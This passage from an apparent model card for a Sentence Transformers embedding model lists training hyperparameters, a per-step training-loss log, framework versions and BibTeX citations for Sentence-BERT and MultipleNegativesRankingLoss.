  • optim: adamwtorchfused
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • hub_revision: None
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • liger_kernel_config: None
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: proportional
  • router_mapping: {}
  • learning_rate_mapping: {}

</details>

Training Logs

EpochStepTraining Lossbinary-class-evaluator_cosine_ap
-1-1-0.6070
0.04141001.5692-
0.08272000.7166-
0.12413000.6628-
0.16554000.5978-
0.20695000.6028-
0.24826000.6467-
0.28967000.6132-
0.33108000.6031-
0.37249000.6189-
0.413710000.6306-
0.455111000.6175-
0.496512000.5871-
0.537913000.6065-
0.579214000.6095-
0.620615000.5812-
0.662016000.5933-
0.703417000.5713-
0.744718000.5947-
0.786119000.5966-
0.827520000.5738-
0.868821000.608-
0.910222000.5769-
0.951623000.5641-
0.993024000.5825-
1.034325000.5607-
1.075726000.5986-
1.117127000.5804-
1.158528000.5752-
1.199829000.5897-
1.241230000.5563-
1.282631000.5466-
1.324032000.5798-
1.365333000.5634-
1.406734000.536-
1.448135000.5915-
1.489436000.6009-
1.530837000.5925-
1.572238000.5882-
1.613639000.5872-
1.654940000.5782-
1.696341000.5595-
1.737742000.5892-
1.779143000.5581-
1.820444000.5681-
1.861845000.5982-
1.903246000.582-
1.944647000.5601-
1.985948000.5649-

Framework Versions

  • Python: 3.11.11
  • Sentence Transformers: 5.1.0
  • Transformers: 4.56.0
  • PyTorch: 2.8.0.dev20250319+cu128
  • Accelerate: 1.10.1
  • Datasets: 4.0.0
  • Tokenizers: 0.22.0

Citation

BibTeX

Sentence Transformers
bibtex
@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}
MultipleNegativesRankingLoss
bibtex
@misc{henderson2017efficient,
    title={Efficient Natural Language Response Suggestion for Smart Reply},
    author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil},
    year={2017},
    eprint={1705.00652},
    archivePrefix={arXiv},
    primaryClass={cs.CL}
}

<!--

Glossary

Clearly define terms in order to be accessible across audiences. -->

<!--

Model Card Authors

Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction. -->

<!--

Model Card Contact

Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors. -->